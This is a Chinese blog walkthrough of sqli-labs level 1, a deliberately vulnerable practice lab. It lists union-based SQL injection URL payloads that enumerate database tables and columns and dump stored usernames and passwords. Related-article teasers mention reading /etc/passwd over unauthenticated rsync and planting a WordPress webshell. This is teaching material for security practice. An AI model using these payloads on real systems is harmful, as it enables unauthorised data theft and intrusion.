SQL注入sqli-labs-master关卡一

news2024/11/16 0:06:28

 本文环境搭建使用的是小皮,靶机压缩包:通过百度网盘分享的文件:sqli-labs-php7-master.zip
链接:https://pan.baidu.com/s/1xBfsi2lyrA1QgUWycRsHeQ?pwd=qwer 
提取码:qwer

下载解压至phpstudy的WWW目录下即可。

第一关如下:判断是否存在注入点。

页面提示我们输入ID作为数值参数,

我们查看该关卡的php源码进行分析:第一步是要连接MySQL,二这个MySQL进行了一个文件包含,将sql-connections/sqli-connect.php的文件代码参数用至index.php中,连接至数据库后的if(isset($_GET['id']))等代码就是进行数据库的一个查询。这里的isset($_GET['id']))代码不知道是什么意思的可以去PHP: PHP 手册 - Manual进行一个查询:

传参有GET和POST两种传参方式,GET传参一般在浏览器的地址栏中传参,POST传参一般在from表单中传参。然后我们传入id=1即输入?id=1,回车后页面显示如下我们的名字和密码为Dumb。传入id=2时返回的名字密码也不同,说明我们传入的值是被带进数据库中进行了一个查询并打印到前端页面中来。也就是说通过php源码我们可以看出该关卡的内容很简单,就是接收参数,查询数据库,前端显示的一个操作。

然后我们可以从中看出该代码存在的漏洞:首先没有对用户的输入进行一个过滤

因为没有对用户输入做过滤,我们进行一个联合查询,注意地址栏中的%20是空格符,因为编码先转ASCLL码再转十六进制,前面的0x变为%替代。但是查询结果依然是?id=1的结果。

在源码中我们可以看到查询语句是这一句。

我们union select 1,2,3就相当于

注意前面id的单引号,我们联合查询的语句并没有进入,在数据库中执行的语句依然为id = 1,没有我们要联合查询的语句,所以我们要逃离单引号,逃离单引号我们可以加一个单引号使之闭合。

union select 1,2,3'就像这种,注意单双引号要成对出现,不然会报错。所以我们需要给他闭合上单引号。但是我们已经逃脱了单引号的控制。

我们联合查询多的单引号就要想办法去给他搞掉。我们有两个办法去把这个单引号弄掉;1.加个单引号,给它闭合上。2.给这个单引号注释掉。MySQL的注释符有三个:-- 和# 和/***/ */这三个注释符。若是依然报错,地址栏中注释符存在,则我们可以转为ASCII编码再转十六进制再去尝试即可。

我们的最终目的是注入管理员的账号密码,首先我们就需要知道管理员表表名和列名。

我们不知道管理员的表名列名,但是我们可以知道MySQL自带的三个表, information_schema, mysql,performance_schema 这三个表。重点放在信息表information_schema它包含了数据库里的所有表。

我们通过order by检测它的列数,?id=1'order by 1 --+通过1,2,3,4一个一个去尝试,发现其列数为3列。

查询前端显示的是1,2,3列中的那一列?id=-1'union select 1,2,3--+得到显示的是2,3列。这里将id值作为-1是为了让前面的语句失效再使用union查询是否有回显位。

查找它的数据库名字和版本?id=-1'union select 1,database(),version()--+得到它的数据库名为security。

在information_schema中存在的columns表(列名)和table表(表名)是我们需要查看的地方。则通过

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+查询出表名。

在表名里我们看到了users用户表,再查看它的字段名?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+,

在里面我们看到了username表和password表。就直接进行查询这个users中的username和password。

?id=-1' union select 1,2,group_concat(username , password) from users--+

拿到账号密码这样看太抽象了,于是我又换了个代码查询。

?id=-1' union select 1,username,password from users where id=2 --+

?id=-1' union select 1,username,password from users where id=3 --+

?id=-1' union select 1,username,password from users where id=4 --+

上就是第一关的内容了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1984009.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于Redis的面试题

一、为什么要使用Redis 内存数据库,速度很快工作单线程worker,串行化,原子操作,IO线程是多线程的。避免上下文切换使用 IO模型,天生支撑高并发kv模型,v具有类型结构具有本地方法,计算数据移动二进制安全,value值最大为512MB二、Redis是多线程还是单线程 Redis在6.0版本…

(免费领源码)java#SSM#MYSQL私家车位共享APP 51842-计算机毕业设计项目选题推荐

目 录 摘要 1 绪论 1.1 课题的研究背景 1.2研究内容与研究目标 1.3ssm框架 1.4论文结构与章节安排 2 2 私家车位共享APP系统分析 2.1 可行性分析 2.2 系统流程分析 2.2.1 数据增加流程 2.2.2 数据修改流程 2.2.3数据删除流程 2.3 系统功能分析 2.3.1功能性分析 2…

计算机网络(TCP报文段首部格式中序号和确认号)

TCP首部格式中的序号和确认号并不总是同时出现。 TCP首部的序号和确认号是根据TCP通信的不同阶段和目的来决定的。在建立连接的过程中,序号用于标识发送数据的起始位置,而确认号用于表示接收方期望接收的下一个数据的起始位置。这两个字段在TCP通信的不同…

【vulhub靶场之rsync关】

一、使用nmap模块查看该ip地址有没有Rsync未授权访问漏洞 nmap -p 873 --script rsync-list-modules 加IP地址 查看到是有漏洞的模块的 二、使用rsync命令连接并读取文件 查看src目录里面的信息。 三、对系统中的敏感文件进行下载——/etc/passwd 执行命令: rsy…

【Python】Python中的循环语句

循环语句 导读一、基本概念1.1 循环语句的执行流程1.2 循环语句的分类 二、while语句三、for语句四、break与continue五、死循环六、循环中的else语句七、range()函数结语 导读 大家好,很高兴又和大家见面啦!!! 在上一篇内容中我…

《Advanced RAG》-04-深度研究RAG技术Re-ranking

摘要 文章首先介绍了重新排序在RAG中的重要性,它允许对检索到的文档进行重新排序和过滤,以确保最相关的文档能够被优先考虑,从而提高RAG的效率和准确性。 接着,文章详细描述了两种主流的重新排序方法: 一种是使用重新排…

使用Jetbrains.Rider反编译Unity的DLL文件看源码

直接将dll文件的打开方式用Rider打开即可,打开BattleSeqGenertor.dll文件的效果如下:

Redis 的6种回收策略(淘汰策略)详解

Redis 的6种回收策略(淘汰策略)详解 1、Redis的六种淘汰策略1. volatile-lru2. volatile-ttl3. volatile-random4. allkeys-lru5. allkeys-random6. no-eviction 2、使用策略规则 💖The Begin💖点点关注,收藏不迷路&am…

MyIP:强大且简单好用!

在这个数字化的时代,IP地址就像是我们的网络身份证。各位在日常的工作中,肯定会会遇到需要和 IP 地址相关的需求。 今天和大家聊一聊一个非常好用的开源 IP 工具项目 - MyIP。 简介 MyIP一个开源IP工具箱,提供了一系列的网络检测工具&…

适合双11入手的蓝牙耳机推荐?4款开放式耳机测评

2024年也确实快到大家购物疯狂买买买的双11日子了,我相信肯定也有人在购物车攒了一大堆商品就等着双11清空了。那肯定现在还有人在为双11的购物车放什么东西发愁吧,那对于我来说,双11的购物车应该也是要有蓝牙耳机的一席之地的。 因为毕竟在…

Python酷库之旅-第三方库Pandas(068)

目录 一、用法精讲 271、pandas.Series.dt.dayofyear属性 271-1、语法 271-2、参数 271-3、功能 271-4、返回值 271-5、说明 271-6、用法 271-6-1、数据准备 271-6-2、代码示例 271-6-3、结果输出 272、pandas.Series.dt.days_in_month属性 272-1、语法 272-2、参…

吴恩达老师机器学习作业-ex7(聚类)

导入库,读取数据,查看数据类型等进行分析,可视化数据 import matplotlib.pyplot as plt import numpy as np import scipy.io as sio#读取数据 path "./ex7data2.mat" data sio.loadmat(path) # print(type(data)) # print(data…

【LabVIEW学习篇 - 13】:队列

文章目录 队列 队列 队列通常情况下是一种先入先出(FIFO:First in First out)的数据结构,常用作数据缓存,通过队列结构可以保证数据有序的传递,避免竞争和冲突。 案例:利用队列,模…

WordPress--漏洞复现

1.搭建好环境进入后台登录界面登录管理员 2.进入后选择外观---编辑 3.将文件内容改为我们的一句话木马,点击更新文件 4.访问这个文件显示出phpinfo证明注入成功

PXE技术在操作系统批量安装中的应用与实现

PXE(Preboot Execution Environment)即预启动执行环境,它是一种可以使计算机通过网络启动的技术。 一、工作原理 客户端请求: 当支持 PXE 的计算机启动时,其网卡的固件会广播一个请求,寻找网络中的 PXE 服…

JavaScript Web API入门day2

目录 1.DOM事件基础 1.1 事件监听 1.2 事件监听案例 1.2.1 京东点击关闭顶部广告 1.2.2 随机点名案例 1.3 事件监听版本 2. 事件类型 2.1 事件类型案例 2.1.1 轮播图点击切换 2.1.2 评论字数统计 3.事件对象 3.1 获取事件对象 3.2 事件对象常用属性 3.3 事件对象…

【技术前沿】3.3KW高功率密度新突破!基于Infineon XMC1400搭配CoolSiC™ Mosfet 的PFC数字电源方案

随着社会经济发展、能源结构变革,近几年全球对家用储能系统的需求量一直保持相当程度的增长。2023年,全球家用储能系统市场销售额达到了87.4亿美元,预计2029年将达到498.6亿美元,年复合增长率(CAGR)为33.68…

定时任务-xxl-job

一. 为什么定时任务可以定时执行 定时任务可以定时执行的原理是通过操作系统提供的定时器实现的。 以下是定时任务能够准时执行的基本原理和相关技术: 操作系统的调度器: 操作系统(如Linux、Windows等)内部都有一个调度器&#x…

TortoiseGit小乌龟在gitlab配置ssh免密

1. 生成ssh密钥(默认在~/.ssh路径生产,id_rsa和id_rsa.pub) ssh-keygen -t rsa -b 4096 -C "xxxqq.com"2. 打开gitlab,在搜索栏搜索ssh,找到SSH Keys,然后添加id_rsa.pub公钥的内容到网页,保存。 3. 打开To…

如何将PostgreSQL的数据实时迁移到SelectDB?

PostgreSQL 作为一个开源且功能强大的关系型数据库管理系统,在 OLTP 系统中得到了广泛应用。很多企业利用其卓越的性能和灵活的架构,应对高并发事务、快速响应等需求。 然而对于 OLAP 场景,PostgreSQL 可能并不是最佳选择。 为了实现庞大规…